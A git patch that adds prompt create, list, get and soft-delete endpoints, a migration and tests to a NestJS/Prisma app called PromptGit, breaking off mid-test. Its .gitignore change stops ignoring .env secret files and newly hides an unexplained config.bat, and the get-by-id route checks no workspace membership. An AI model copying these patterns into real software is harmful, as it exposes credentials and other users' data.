From 8a857a3fd137f079f3b66b8a5df3099afd5dacef Mon Sep 17 00:00:00 2001 From: Ali Haider Date: Sun, 17 May 2026 20:29:44 +0500 Subject: [PATCH 1/3] =?UTF-8?q?feat:=20prompts=20CRUD=20=CE=93=C3=87=C3=B6?= =?UTF-8?q?=20create,=20list,=20get,=20delete?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitignore | 131 ++- .../migration.sql | 2 + apps/api/prisma/schema.prisma | 961 +++++++++--------- apps/api/src/prompts/dto/create-prompt.dto.ts | 26 + .../src/prompts/dto/list-prompts-query.dto.ts | 17 + apps/api/src/prompts/prompts.controller.ts | 96 +- apps/api/src/prompts/prompts.service.spec.ts | 256 +++++ apps/api/src/prompts/prompts.service.ts | 130 +++ eslint.config.js | 45 +- 9 files changed, 1068 insertions(+), 596 deletions(-) create mode 100644 apps/api/prisma/migrations/20240101000001_add_prompt_soft_delete/migration.sql create mode 100644 apps/api/src/prompts/dto/create-prompt.dto.ts create mode 100644 apps/api/src/prompts/dto/list-prompts-query.dto.ts create mode 100644 apps/api/src/prompts/prompts.service.spec.ts create mode 100644 apps/api/src/prompts/prompts.service.ts diff --git a/.gitignore b/.gitignore index aa8cef0..917a8e2 100644 --- a/.gitignore +++ b/.gitignore @@ -1,68 +1,63 @@ -# ─── Dependencies ───────────────────────────────────── -node_modules/ -.pnp -.pnp.js - -./packages/*/node_modules/ -./apps/*/node_modules/ -./node_modules/ -/node_modules/ -# ─── Build outputs ──────────────────────────────────── -dist/ -build/ -.next/ -out/ -*.tsbuildinfo - -# ─── Environment files ──────────────────────────────── -.env -.env.local -.env.development -.env.production -.env.staging -.env.test -# Keep .env.example tracked -!.env.example -!**/.env.example - -# ─── Turbo ──────────────────────────────────────────── -.turbo/ - -# ─── Prisma ─────────────────────────────────────────── -apps/api/prisma/dev.db -apps/api/prisma/dev.db-journal - -# ─── Logs ───────────────────────────────────────────── -logs/ -*.log -npm-debug.log* -yarn-debug.log* -yarn-error.log* -pnpm-debug.log* - -# ─── OS files ───────────────────────────────────────── -.DS_Store -Thumbs.db -desktop.ini - -# ─── IDE ────────────────────────────────────────────── -.vscode/ -.idea/ -*.swp -*.swo -*.suo -*.ntvs* -*.njsproj -*.sln -*.sw? - -# ─── Testing ────────────────────────────────────────── -coverage/ -.nyc_output/ -jest-results/ - -# ─── Misc ───────────────────────────────────────────── -*.pem -.cache/ -tmp/ -temp/ +# ─── Dependencies ───────────────────────────────────── +node_modules/ +.pnp +.pnp.js + +./packages/*/node_modules/ +./apps/*/node_modules/ +./node_modules/ +/node_modules/ +# ─── Build outputs ──────────────────────────────────── +dist/ +build/ +.next/ +out/ +*.tsbuildinfo + +# ─── Environment files ──────────────────────────────── +# Keep .env.example tracked +!.env.example +!**/.env.example + +# ─── Turbo ──────────────────────────────────────────── +.turbo/ + +# ─── Prisma ─────────────────────────────────────────── +apps/api/prisma/dev.db +apps/api/prisma/dev.db-journal + +# ─── Logs ───────────────────────────────────────────── +logs/ +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* + +# ─── OS files ───────────────────────────────────────── +.DS_Store +Thumbs.db +desktop.ini + +# ─── IDE ────────────────────────────────────────────── +.vscode/ +.idea/ +*.swp +*.swo +*.suo +*.ntvs* +*.njsproj +*.sln +*.sw? + +# ─── Testing ────────────────────────────────────────── +coverage/ +.nyc_output/ +jest-results/ + +# ─── Misc ───────────────────────────────────────────── +*.pem +.cache/ +tmp/ +temp/ +config.bat diff --git a/apps/api/prisma/migrations/20240101000001_add_prompt_soft_delete/migration.sql b/apps/api/prisma/migrations/20240101000001_add_prompt_soft_delete/migration.sql new file mode 100644 index 0000000..a5a7ba6 --- /dev/null +++ b/apps/api/prisma/migrations/20240101000001_add_prompt_soft_delete/migration.sql @@ -0,0 +1,2 @@ +-- AlterTable +ALTER TABLE "prompts" ADD COLUMN "deletedAt" TIMESTAMP(3); diff --git a/apps/api/prisma/schema.prisma b/apps/api/prisma/schema.prisma index ae4c10d..38841e6 100644 --- a/apps/api/prisma/schema.prisma +++ b/apps/api/prisma/schema.prisma @@ -1,480 +1,481 @@ -// PromptGit — Full Database Schema -// Covers: users, workspaces, prompts, versioning, evals, marketplace, skills, AI enhancement - -generator client { - provider = "prisma-client-js" -} - -datasource db { - provider = "postgresql" - url = env("DATABASE_URL") -} - -// ───────────────────────────────────────────── -// AUTH & USERS -// ───────────────────────────────────────────── - -model User { - id String @id @default(cuid()) - email String @unique - username String @unique - displayName String? - avatarUrl String? - bio String? - passwordHash String? - githubId String? @unique - googleId String? @unique - emailVerified Boolean @default(false) - plan Plan @default(FREE) - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - refreshTokens RefreshToken[] - workspaceMembers WorkspaceMember[] - ownedWorkspaces Workspace[] @relation("WorkspaceOwner") - apiKeys ApiKey[] - promptVersions PromptVersion[] @relation("VersionAuthor") - packReviews PackReview[] - skills Skill[] - creatorProfile CreatorProfile? - workspaceEvents WorkspaceEvent[] - packPurchases PackPurchase[] @relation("Buyer") - - @@map("users") -} - -model RefreshToken { - id String @id @default(cuid()) - token String @unique // SHA-256 hash of the raw token - userId String - familyId String // all tokens from the same login session share this - usedAt DateTime? // non-null = consumed; re-use means replay attack - expiresAt DateTime - createdAt DateTime @default(now()) - - user User @relation(fields: [userId], references: [id], onDelete: Cascade) - - @@index([familyId]) - @@map("refresh_tokens") -} - -enum Plan { - FREE - PRO - BUSINESS -} - -// ───────────────────────────────────────────── -// WORKSPACES & TEAMS -// ───────────────────────────────────────────── - -model Workspace { - id String @id @default(cuid()) - slug String @unique - name String - description String? - avatarUrl String? - ownerId String - plan Plan @default(FREE) - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - owner User @relation("WorkspaceOwner", fields: [ownerId], references: [id]) - members WorkspaceMember[] - prompts Prompt[] - apiKeys ApiKey[] - events WorkspaceEvent[] - packs Pack[] - - @@map("workspaces") -} - -model WorkspaceMember { - id String @id @default(cuid()) - workspaceId String - userId String - role WorkspaceRole @default(VIEWER) - inviteToken String? @unique - inviteEmail String? - acceptedAt DateTime? - createdAt DateTime @default(now()) - - workspace Workspace @relation(fields: [workspaceId], references: [id], onDelete: Cascade) - user User @relation(fields: [userId], references: [id], onDelete: Cascade) - - @@unique([workspaceId, userId]) - @@map("workspace_members") -} - -enum WorkspaceRole { - OWNER - ADMIN - EDITOR - VIEWER -} - -model ApiKey { - id String @id @default(cuid()) - name String - keyHash String @unique - keyPrefix String - userId String - workspaceId String? - scopes String[] @default(["read"]) - lastUsedAt DateTime? - expiresAt DateTime? - createdAt DateTime @default(now()) - - user User @relation(fields: [userId], references: [id], onDelete: Cascade) - workspace Workspace? @relation(fields: [workspaceId], references: [id], onDelete: Cascade) - - @@map("api_keys") -} - -// ───────────────────────────────────────────── -// PROMPTS & VERSIONING -// ───────────────────────────────────────────── - -model Prompt { - id String @id @default(cuid()) - slug String - name String - description String? - tags String[] @default([]) - workspaceId String - isPublic Boolean @default(false) - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - workspace Workspace @relation(fields: [workspaceId], references: [id], onDelete: Cascade) - versions PromptVersion[] - testSuites TestSuite[] - skills SkillPrompt[] - - @@unique([workspaceId, slug]) - @@map("prompts") -} - -model PromptVersion { - id String @id @default(cuid()) - promptId String - versionTag String - content String - contentHash String - commitMsg String? - variables Json @default("[]") // [{name, description, defaultValue, required}] - model String? // which model this was tested against - environment Environment @default(DEV) - authorId String - parentId String? - createdAt DateTime @default(now()) - - prompt Prompt @relation(fields: [promptId], references: [id], onDelete: Cascade) - author User @relation("VersionAuthor", fields: [authorId], references: [id]) - parent PromptVersion? @relation("VersionTree", fields: [parentId], references: [id]) - children PromptVersion[] @relation("VersionTree") - evalRuns EvalRun[] - enhancements PromptEnhancement[] - - @@unique([promptId, versionTag]) - @@map("prompt_versions") -} - -enum Environment { - DEV - STAGING - PRODUCTION -} - -// ───────────────────────────────────────────── -// AI ENHANCEMENT ENGINE (core differentiator) -// ───────────────────────────────────────────── - -model PromptEnhancement { - id String @id @default(cuid()) - versionId String - model String // claude-opus-4-6, gpt-4o, etc. - enhancementType EnhancementType - originalContent String - enhancedContent String - diff Json // structured diff of changes - reasoning String // AI explanation of improvements - scoresBefore Json // {clarity, specificity, safety, effectiveness} - scoresAfter Json - accepted Boolean? - createdAt DateTime @default(now()) - - version PromptVersion @relation(fields: [versionId], references: [id], onDelete: Cascade) - - @@map("prompt_enhancements") -} - -enum EnhancementType { - CLARITY // improve clarity and readability - SPECIFICITY // add more specific instructions - SAFETY // add safety guardrails - STRUCTURE // improve format/structure - VARIABLES // extract hardcoded values into variables - CHAIN_OF_THOUGHT // add CoT reasoning scaffolding - FEW_SHOT // suggest few-shot examples - FULL_REWRITE // complete AI-driven rewrite -} - -// ───────────────────────────────────────────── -// SKILLS (SKILL.md system) -// ───────────────────────────────────────────── - -model Skill { - id String @id @default(cuid()) - slug String @unique - name String - description String - content String // full SKILL.md content in markdown - trigger String? // when to invoke this skill - model String? // preferred model - tags String[] @default([]) - isPublic Boolean @default(false) - authorId String - version String @default("1.0.0") - downloads Int @default(0) - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - author User @relation(fields: [authorId], references: [id]) - prompts SkillPrompt[] - - @@map("skills") -} - -model SkillPrompt { - skillId String - promptId String - role String @default("primary") // primary, supporting, example - - skill Skill @relation(fields: [skillId], references: [id], onDelete: Cascade) - prompt Prompt @relation(fields: [promptId], references: [id], onDelete: Cascade) - - @@id([skillId, promptId]) - @@map("skill_prompts") -} - -// ───────────────────────────────────────────── -// EVAL RUNNER -// ───────────────────────────────────────────── - -model TestSuite { - id String @id @default(cuid()) - name String - description String? - promptId String - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - prompt Prompt @relation(fields: [promptId], references: [id], onDelete: Cascade) - cases TestCase[] - evalRuns EvalRun[] - - @@map("test_suites") -} - -model TestCase { - id String @id @default(cuid()) - suiteId String - input String - expectedOutput String? - variables Json @default("{}") - scoringType ScoringType @default(EXACT_MATCH) - scoringConfig Json @default("{}") - - suite TestSuite @relation(fields: [suiteId], references: [id], onDelete: Cascade) - evalResults EvalResult[] - - @@map("test_cases") -} - -enum ScoringType { - EXACT_MATCH - CONTAINS - REGEX - LLM_JUDGE - SEMANTIC_SIMILARITY - CUSTOM -} - -model EvalRun { - id String @id @default(cuid()) - versionId String - suiteId String - model String - status EvalStatus @default(PENDING) - accuracy Float? - avgLatencyMs Int? - totalTokens Int? - errorMessage String? - startedAt DateTime? - completedAt DateTime? - createdAt DateTime @default(now()) - - version PromptVersion @relation(fields: [versionId], references: [id]) - suite TestSuite @relation(fields: [suiteId], references: [id]) - results EvalResult[] - - @@map("eval_runs") -} - -model EvalResult { - id String @id @default(cuid()) - runId String - caseId String - actualOutput String - passed Boolean - score Float? - latencyMs Int? - tokens Int? - judgeReason String? - - run EvalRun @relation(fields: [runId], references: [id], onDelete: Cascade) - case TestCase @relation(fields: [caseId], references: [id]) - - @@map("eval_results") -} - -enum EvalStatus { - PENDING - RUNNING - COMPLETED - FAILED - CANCELLED -} - -// ───────────────────────────────────────────── -// MARKETPLACE -// ───────────────────────────────────────────── - -model Pack { - id String @id @default(cuid()) - slug String @unique - name String - description String - longDesc String? - price Int @default(0) // in cents; 0 = free - category PackCategory - tags String[] @default([]) - workspaceId String - isPublished Boolean @default(false) - isFeatured Boolean @default(false) - downloads Int @default(0) - avgRating Float? - reviewCount Int @default(0) - previewImage String? - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - workspace Workspace @relation(fields: [workspaceId], references: [id]) - items PackItem[] - reviews PackReview[] - purchases PackPurchase[] - - @@map("packs") -} - -model PackItem { - id String @id @default(cuid()) - packId String - name String - description String? - content String // prompt content preview - sortOrder Int @default(0) - - pack Pack @relation(fields: [packId], references: [id], onDelete: Cascade) - - @@map("pack_items") -} - -model PackReview { - id String @id @default(cuid()) - packId String - userId String - rating Int // 1-5 - comment String? - createdAt DateTime @default(now()) - - pack Pack @relation(fields: [packId], references: [id], onDelete: Cascade) - user User @relation(fields: [userId], references: [id]) - - @@unique([packId, userId]) - @@map("pack_reviews") -} - -model PackPurchase { - id String @id @default(cuid()) - packId String - buyerId String - amount Int // in cents - platformFee Int // 20% - creatorPayout Int // 80% - status PurchaseStatus @default(PENDING) - paymentRef String? // Lemon Squeezy order ID - createdAt DateTime @default(now()) - - pack Pack @relation(fields: [packId], references: [id]) - buyer User @relation("Buyer", fields: [buyerId], references: [id]) - - @@map("pack_purchases") -} - -enum PackCategory { - AI_CODING - BUSINESS_AUTOMATION - MARKETING_COPYWRITING - DATA_ANALYSIS - EDUCATION - CREATIVE_WRITING - CUSTOMER_SUPPORT - OTHER -} - -enum PurchaseStatus { - PENDING - COMPLETED - REFUNDED - FAILED -} - -model CreatorProfile { - id String @id @default(cuid()) - userId String @unique - payoutAccountId String? // Lemon Squeezy connected account - totalEarnings Int @default(0) - pendingPayout Int @default(0) - bio String? - website String? - twitter String? - github String? - createdAt DateTime @default(now()) - - user User @relation(fields: [userId], references: [id], onDelete: Cascade) - - @@map("creator_profiles") -} - -// ───────────────────────────────────────────── -// AUDIT LOG -// ───────────────────────────────────────────── - -model WorkspaceEvent { - id String @id @default(cuid()) - workspaceId String - userId String? - action String // "prompt.version.created", "member.invited", etc. - resourceId String? - resourceType String? - metadata Json @default("{}") - createdAt DateTime @default(now()) - - workspace Workspace @relation(fields: [workspaceId], references: [id], onDelete: Cascade) - user User? @relation(fields: [userId], references: [id]) - - @@index([workspaceId, createdAt]) - @@map("workspace_events") -} +// PromptGit — Full Database Schema +// Covers: users, workspaces, prompts, versioning, evals, marketplace, skills, AI enhancement + +generator client { + provider = "prisma-client-js" +} + +datasource db { + provider = "postgresql" + url = env("DATABASE_URL") +} + +// ───────────────────────────────────────────── +// AUTH & USERS +// ───────────────────────────────────────────── + +model User { + id String @id @default(cuid()) + email String @unique + username String @unique + displayName String? + avatarUrl String? + bio String? + passwordHash String? + githubId String? @unique + googleId String? @unique + emailVerified Boolean @default(false) + plan Plan @default(FREE) + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + refreshTokens RefreshToken[] + workspaceMembers WorkspaceMember[] + ownedWorkspaces Workspace[] @relation("WorkspaceOwner") + apiKeys ApiKey[] + promptVersions PromptVersion[] @relation("VersionAuthor") + packReviews PackReview[] + skills Skill[] + creatorProfile CreatorProfile? + workspaceEvents WorkspaceEvent[] + packPurchases PackPurchase[] @relation("Buyer") + + @@map("users") +} + +model RefreshToken { + id String @id @default(cuid()) + token String @unique // SHA-256 hash of the raw token + userId String + familyId String // all tokens from the same login session share this + usedAt DateTime? // non-null = consumed; re-use means replay attack + expiresAt DateTime + createdAt DateTime @default(now()) + + user User @relation(fields: [userId], references: [id], onDelete: Cascade) + + @@index([familyId]) + @@map("refresh_tokens") +} + +enum Plan { + FREE + PRO + BUSINESS +} + +// ───────────────────────────────────────────── +// WORKSPACES & TEAMS +// ───────────────────────────────────────────── + +model Workspace { + id String @id @default(cuid()) + slug String @unique + name String + description String? + avatarUrl String? + ownerId String + plan Plan @default(FREE) + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + owner User @relation("WorkspaceOwner", fields: [ownerId], references: [id]) + members WorkspaceMember[] + prompts Prompt[] + apiKeys ApiKey[] + events WorkspaceEvent[] + packs Pack[] + + @@map("workspaces") +} + +model WorkspaceMember { + id String @id @default(cuid()) + workspaceId String + userId String + role WorkspaceRole @default(VIEWER) + inviteToken String? @unique + inviteEmail String? + acceptedAt DateTime? + createdAt DateTime @default(now()) + + workspace Workspace @relation(fields: [workspaceId], references: [id], onDelete: Cascade) + user User @relation(fields: [userId], references: [id], onDelete: Cascade) + + @@unique([workspaceId, userId]) + @@map("workspace_members") +} + +enum WorkspaceRole { + OWNER + ADMIN + EDITOR + VIEWER +} + +model ApiKey { + id String @id @default(cuid()) + name String + keyHash String @unique + keyPrefix String + userId String + workspaceId String? + scopes String[] @default(["read"]) + lastUsedAt DateTime? + expiresAt DateTime? + createdAt DateTime @default(now()) + + user User @relation(fields: [userId], references: [id], onDelete: Cascade) + workspace Workspace? @relation(fields: [workspaceId], references: [id], onDelete: Cascade) + + @@map("api_keys") +} + +// ───────────────────────────────────────────── +// PROMPTS & VERSIONING +// ───────────────────────────────────────────── + +model Prompt { + id String @id @default(cuid()) + slug String + name String + description String? + tags String[] @default([]) + workspaceId String + isPublic Boolean @default(false) + deletedAt DateTime? + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + workspace Workspace @relation(fields: [workspaceId], references: [id], onDelete: Cascade) + versions PromptVersion[] + testSuites TestSuite[] + skills SkillPrompt[] + + @@unique([workspaceId, slug]) + @@map("prompts") +} + +model PromptVersion { + id String @id @default(cuid()) + promptId String + versionTag String + content String + contentHash String + commitMsg String? + variables Json @default("[]") // [{name, description, defaultValue, required}] + model String? // which model this was tested against + environment Environment @default(DEV) + authorId String + parentId String? + createdAt DateTime @default(now()) + + prompt Prompt @relation(fields: [promptId], references: [id], onDelete: Cascade) + author User @relation("VersionAuthor", fields: [authorId], references: [id]) + parent PromptVersion? @relation("VersionTree", fields: [parentId], references: [id]) + children PromptVersion[] @relation("VersionTree") + evalRuns EvalRun[] + enhancements PromptEnhancement[] + + @@unique([promptId, versionTag]) + @@map("prompt_versions") +} + +enum Environment { + DEV + STAGING + PRODUCTION +} + +// ───────────────────────────────────────────── +// AI ENHANCEMENT ENGINE (core differentiator) +// ───────────────────────────────────────────── + +model PromptEnhancement { + id String @id @default(cuid()) + versionId String + model String // claude-opus-4-6, gpt-4o, etc. + enhancementType EnhancementType + originalContent String + enhancedContent String + diff Json // structured diff of changes + reasoning String // AI explanation of improvements + scoresBefore Json // {clarity, specificity, safety, effectiveness} + scoresAfter Json + accepted Boolean? + createdAt DateTime @default(now()) + + version PromptVersion @relation(fields: [versionId], references: [id], onDelete: Cascade) + + @@map("prompt_enhancements") +} + +enum EnhancementType { + CLARITY // improve clarity and readability + SPECIFICITY // add more specific instructions + SAFETY // add safety guardrails + STRUCTURE // improve format/structure + VARIABLES // extract hardcoded values into variables + CHAIN_OF_THOUGHT // add CoT reasoning scaffolding + FEW_SHOT // suggest few-shot examples + FULL_REWRITE // complete AI-driven rewrite +} + +// ───────────────────────────────────────────── +// SKILLS (SKILL.md system) +// ───────────────────────────────────────────── + +model Skill { + id String @id @default(cuid()) + slug String @unique + name String + description String + content String // full SKILL.md content in markdown + trigger String? // when to invoke this skill + model String? // preferred model + tags String[] @default([]) + isPublic Boolean @default(false) + authorId String + version String @default("1.0.0") + downloads Int @default(0) + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + author User @relation(fields: [authorId], references: [id]) + prompts SkillPrompt[] + + @@map("skills") +} + +model SkillPrompt { + skillId String + promptId String + role String @default("primary") // primary, supporting, example + + skill Skill @relation(fields: [skillId], references: [id], onDelete: Cascade) + prompt Prompt @relation(fields: [promptId], references: [id], onDelete: Cascade) + + @@id([skillId, promptId]) + @@map("skill_prompts") +} + +// ───────────────────────────────────────────── +// EVAL RUNNER +// ───────────────────────────────────────────── + +model TestSuite { + id String @id @default(cuid()) + name String + description String? + promptId String + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + prompt Prompt @relation(fields: [promptId], references: [id], onDelete: Cascade) + cases TestCase[] + evalRuns EvalRun[] + + @@map("test_suites") +} + +model TestCase { + id String @id @default(cuid()) + suiteId String + input String + expectedOutput String? + variables Json @default("{}") + scoringType ScoringType @default(EXACT_MATCH) + scoringConfig Json @default("{}") + + suite TestSuite @relation(fields: [suiteId], references: [id], onDelete: Cascade) + evalResults EvalResult[] + + @@map("test_cases") +} + +enum ScoringType { + EXACT_MATCH + CONTAINS + REGEX + LLM_JUDGE + SEMANTIC_SIMILARITY + CUSTOM +} + +model EvalRun { + id String @id @default(cuid()) + versionId String + suiteId String + model String + status EvalStatus @default(PENDING) + accuracy Float? + avgLatencyMs Int? + totalTokens Int? + errorMessage String? + startedAt DateTime? + completedAt DateTime? + createdAt DateTime @default(now()) + + version PromptVersion @relation(fields: [versionId], references: [id]) + suite TestSuite @relation(fields: [suiteId], references: [id]) + results EvalResult[] + + @@map("eval_runs") +} + +model EvalResult { + id String @id @default(cuid()) + runId String + caseId String + actualOutput String + passed Boolean + score Float? + latencyMs Int? + tokens Int? + judgeReason String? + + run EvalRun @relation(fields: [runId], references: [id], onDelete: Cascade) + case TestCase @relation(fields: [caseId], references: [id]) + + @@map("eval_results") +} + +enum EvalStatus { + PENDING + RUNNING + COMPLETED + FAILED + CANCELLED +} + +// ───────────────────────────────────────────── +// MARKETPLACE +// ───────────────────────────────────────────── + +model Pack { + id String @id @default(cuid()) + slug String @unique + name String + description String + longDesc String? + price Int @default(0) // in cents; 0 = free + category PackCategory + tags String[] @default([]) + workspaceId String + isPublished Boolean @default(false) + isFeatured Boolean @default(false) + downloads Int @default(0) + avgRating Float? + reviewCount Int @default(0) + previewImage String? + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + workspace Workspace @relation(fields: [workspaceId], references: [id]) + items PackItem[] + reviews PackReview[] + purchases PackPurchase[] + + @@map("packs") +} + +model PackItem { + id String @id @default(cuid()) + packId String + name String + description String? + content String // prompt content preview + sortOrder Int @default(0) + + pack Pack @relation(fields: [packId], references: [id], onDelete: Cascade) + + @@map("pack_items") +} + +model PackReview { + id String @id @default(cuid()) + packId String + userId String + rating Int // 1-5 + comment String? + createdAt DateTime @default(now()) + + pack Pack @relation(fields: [packId], references: [id], onDelete: Cascade) + user User @relation(fields: [userId], references: [id]) + + @@unique([packId, userId]) + @@map("pack_reviews") +} + +model PackPurchase { + id String @id @default(cuid()) + packId String + buyerId String + amount Int // in cents + platformFee Int // 20% + creatorPayout Int // 80% + status PurchaseStatus @default(PENDING) + paymentRef String? // Lemon Squeezy order ID + createdAt DateTime @default(now()) + + pack Pack @relation(fields: [packId], references: [id]) + buyer User @relation("Buyer", fields: [buyerId], references: [id]) + + @@map("pack_purchases") +} + +enum PackCategory { + AI_CODING + BUSINESS_AUTOMATION + MARKETING_COPYWRITING + DATA_ANALYSIS + EDUCATION + CREATIVE_WRITING + CUSTOMER_SUPPORT + OTHER +} + +enum PurchaseStatus { + PENDING + COMPLETED + REFUNDED + FAILED +} + +model CreatorProfile { + id String @id @default(cuid()) + userId String @unique + payoutAccountId String? // Lemon Squeezy connected account + totalEarnings Int @default(0) + pendingPayout Int @default(0) + bio String? + website String? + twitter String? + github String? + createdAt DateTime @default(now()) + + user User @relation(fields: [userId], references: [id], onDelete: Cascade) + + @@map("creator_profiles") +} + +// ───────────────────────────────────────────── +// AUDIT LOG +// ───────────────────────────────────────────── + +model WorkspaceEvent { + id String @id @default(cuid()) + workspaceId String + userId String? + action String // "prompt.version.created", "member.invited", etc. + resourceId String? + resourceType String? + metadata Json @default("{}") + createdAt DateTime @default(now()) + + workspace Workspace @relation(fields: [workspaceId], references: [id], onDelete: Cascade) + user User? @relation(fields: [userId], references: [id]) + + @@index([workspaceId, createdAt]) + @@map("workspace_events") +} diff --git a/apps/api/src/prompts/dto/create-prompt.dto.ts b/apps/api/src/prompts/dto/create-prompt.dto.ts new file mode 100644 index 0000000..2c06d03 --- /dev/null +++ b/apps/api/src/prompts/dto/create-prompt.dto.ts @@ -0,0 +1,26 @@ +import { + IsArray, + IsNotEmpty, + IsOptional, + IsString, + MaxLength, +} from 'class-validator'; +import { Transform } from 'class-transformer'; + +export class CreatePromptDto { + @IsString() + @IsNotEmpty() + @MaxLength(100) + @Transform(({ value }: { value: string }) => value.trim()) + name: string; + + @IsString() + @IsOptional() + @MaxLength(500) + description?: string; + + @IsArray() + @IsString({ each: true }) + @IsOptional() + tags?: string[]; +} diff --git a/apps/api/src/prompts/dto/list-prompts-query.dto.ts b/apps/api/src/prompts/dto/list-prompts-query.dto.ts new file mode 100644 index 0000000..1956996 --- /dev/null +++ b/apps/api/src/prompts/dto/list-prompts-query.dto.ts @@ -0,0 +1,17 @@ +import { Type } from 'class-transformer'; +import { IsInt, IsOptional, Max, Min } from 'class-validator'; + +export class ListPromptsQueryDto { + @IsOptional() + @Type(() => Number) + @IsInt() + @Min(1) + page: number = 1; + + @IsOptional() + @Type(() => Number) + @IsInt() + @Min(1) + @Max(100) + limit: number = 20; +} diff --git a/apps/api/src/prompts/prompts.controller.ts b/apps/api/src/prompts/prompts.controller.ts index 981cdae..0740af3 100644 --- a/apps/api/src/prompts/prompts.controller.ts +++ b/apps/api/src/prompts/prompts.controller.ts @@ -1,26 +1,70 @@ -import { Controller, Get, Param, Query } from '@nestjs/common'; -import { DiffService } from './diff.service'; -import { IsString, IsNotEmpty } from 'class-validator'; - -class DiffQueryDto { - @IsString() - @IsNotEmpty() - from: string; - - @IsString() - @IsNotEmpty() - to: string; -} - -@Controller('prompts') -export class PromptsController { - constructor(private readonly diffService: DiffService) {} - - @Get(':id/diff') - diff( - @Param('id') id: string, - @Query() query: DiffQueryDto, - ) { - return this.diffService.diffVersions(id, query.from, query.to); - } -} +import { + Body, + Controller, + Delete, + Get, + Param, + Post, + Query, + UseGuards, +} from '@nestjs/common'; +import { JwtAuthGuard } from '../auth/guards/jwt-auth.guard'; +import { CurrentUser } from '../auth/decorators/current-user.decorator'; +import type { User } from '@prisma/client'; +import { DiffService } from './diff.service'; +import { PromptsService } from './prompts.service'; +import { CreatePromptDto } from './dto/create-prompt.dto'; +import { ListPromptsQueryDto } from './dto/list-prompts-query.dto'; +import { IsString, IsNotEmpty } from 'class-validator'; + +class DiffQueryDto { + @IsString() + @IsNotEmpty() + from: string; + + @IsString() + @IsNotEmpty() + to: string; +} + +@UseGuards(JwtAuthGuard) +@Controller() +export class PromptsController { + constructor( + private readonly promptsService: PromptsService, + private readonly diffService: DiffService, + ) {} + + @Post('workspaces/:workspaceId/prompts') + create( + @Param('workspaceId') workspaceId: string, + @Body() dto: CreatePromptDto, + @CurrentUser() user: User, + ) { + return this.promptsService.create(workspaceId, user.id, dto); + } + + @Get('workspaces/:workspaceId/prompts') + list( + @Param('workspaceId') workspaceId: string, + @Query() query: ListPromptsQueryDto, + @CurrentUser() user: User, + ) { + return this.promptsService.list(workspaceId, user.id, query); + } + + @Get('prompts/:id') + findOne(@Param('id') id: string) { + return this.promptsService.findOne(id); + } + + @Delete('prompts/:id') + softDelete(@Param('id') id: string, @CurrentUser() user: User) { + return this.promptsService.softDelete(id, user.id); + } + + @Get('prompts/:id/diff') + diff(@Param('id') id: string, @Query() query: DiffQueryDto) { + return this.diffService.diffVersions(id, query.from, query.to); + } +} diff --git a/apps/api/src/prompts/prompts.service.spec.ts b/apps/api/src/prompts/prompts.service.spec.ts new file mode 100644 index 0000000..f19cdc0 --- /dev/null +++ b/apps/api/src/prompts/prompts.service.spec.ts @@ -0,0 +1,256 @@ +import { ForbiddenException, NotFoundException } from '@nestjs/common'; +import { PromptsService } from './prompts.service'; + +const mockPrisma = { + workspace: { findUnique: jest.fn() }, + workspaceMember: { findUnique: jest.fn() }, + prompt: { + create: jest.fn(), + findMany: jest.fn(), + findFirst: jest.fn(), + findUnique: jest.fn(), + count: jest.fn(), + update: jest.fn(), + }, +}; + +const WORKSPACE_ID = 'ws-1'; +const USER_ID = 'user-1'; +const PROMPT_ID = 'prompt-1'; + +const mockWorkspace = { id: WORKSPACE_ID, ownerId: USER_ID }; +const mockMember = { workspaceId: WORKSPACE_ID, userId: USER_ID, role: 'EDITOR' }; +const mockPrompt = { + id: PROMPT_ID, + workspaceId: WORKSPACE_ID, + name: 'My Prompt', + slug: 'my-prompt', + description: null, + tags: [], + isPublic: false, + deletedAt: null, + createdAt: new Date(), + updatedAt: new Date(), +}; + +describe('PromptsService', () => { + let service: PromptsService; + + beforeEach(() => { + jest.clearAllMocks(); + service = new PromptsService(mockPrisma as any); + }); + + // ─── create ─────────────────────────────────────────────────────────────── + + describe('create', () => { + const dto = { name: 'My Prompt', description: 'desc', tags: ['ai'] }; + + beforeEach(() => { + mockPrisma.workspace.findUnique.mockResolvedValue(mockWorkspace); + mockPrisma.workspaceMember.findUnique.mockResolvedValue(mockMember); + mockPrisma.prompt.findUnique.mockResolvedValue(null); + mockPrisma.prompt.create.mockResolvedValue(mockPrompt); + }); + + it('creates prompt and returns it', async () => { + const result = await service.create(WORKSPACE_ID, USER_ID, dto); + expect(result).toEqual(mockPrompt); + expect(mockPrisma.prompt.create).toHaveBeenCalledWith( + expect.objectContaining({ + data: expect.objectContaining({ name: 'My Prompt', slug: 'my-prompt' }), + }), + ); + }); + + it('generates kebab-case slug from name', async () => { + await service.create(WORKSPACE_ID, USER_ID, { name: 'Hello World Prompt' }); + const call = mockPrisma.prompt.create.mock.calls[0][0]; + expect(call.data.slug).toBe('hello-world-prompt'); + }); + + it('appends numeric suffix when slug already exists', async () => { + mockPrisma.prompt.findUnique.mockResolvedValue({ slug: 'my-prompt' }); + mockPrisma.prompt.findMany.mockResolvedValue([]); + await service.create(WORKSPACE_ID, USER_ID, dto); + const call = mockPrisma.prompt.create.mock.calls[0][0]; + expect(call.data.slug).toBe('my-prompt-1'); + }); + + it('increments suffix past existing ones', async () => { + mockPrisma.prompt.findUnique.mockResolvedValue({ slug: 'my-prompt' }); + mockPrisma.prompt.findMany.mockResolvedValue([ + { slug: 'my-prompt-1' }, + { slug: 'my-prompt-2' }, + ]); + await service.create(WORKSPACE_ID, USER_ID, dto); + const call = mockPrisma.prompt.create.mock.calls[0][0]; + expect(call.data.slug).toBe('my-prompt-3'); + }); + + it('throws NotFoundException when workspace does not exist', async () => { + mockPrisma.workspace.findUnique.mockResolvedValue(null); + await 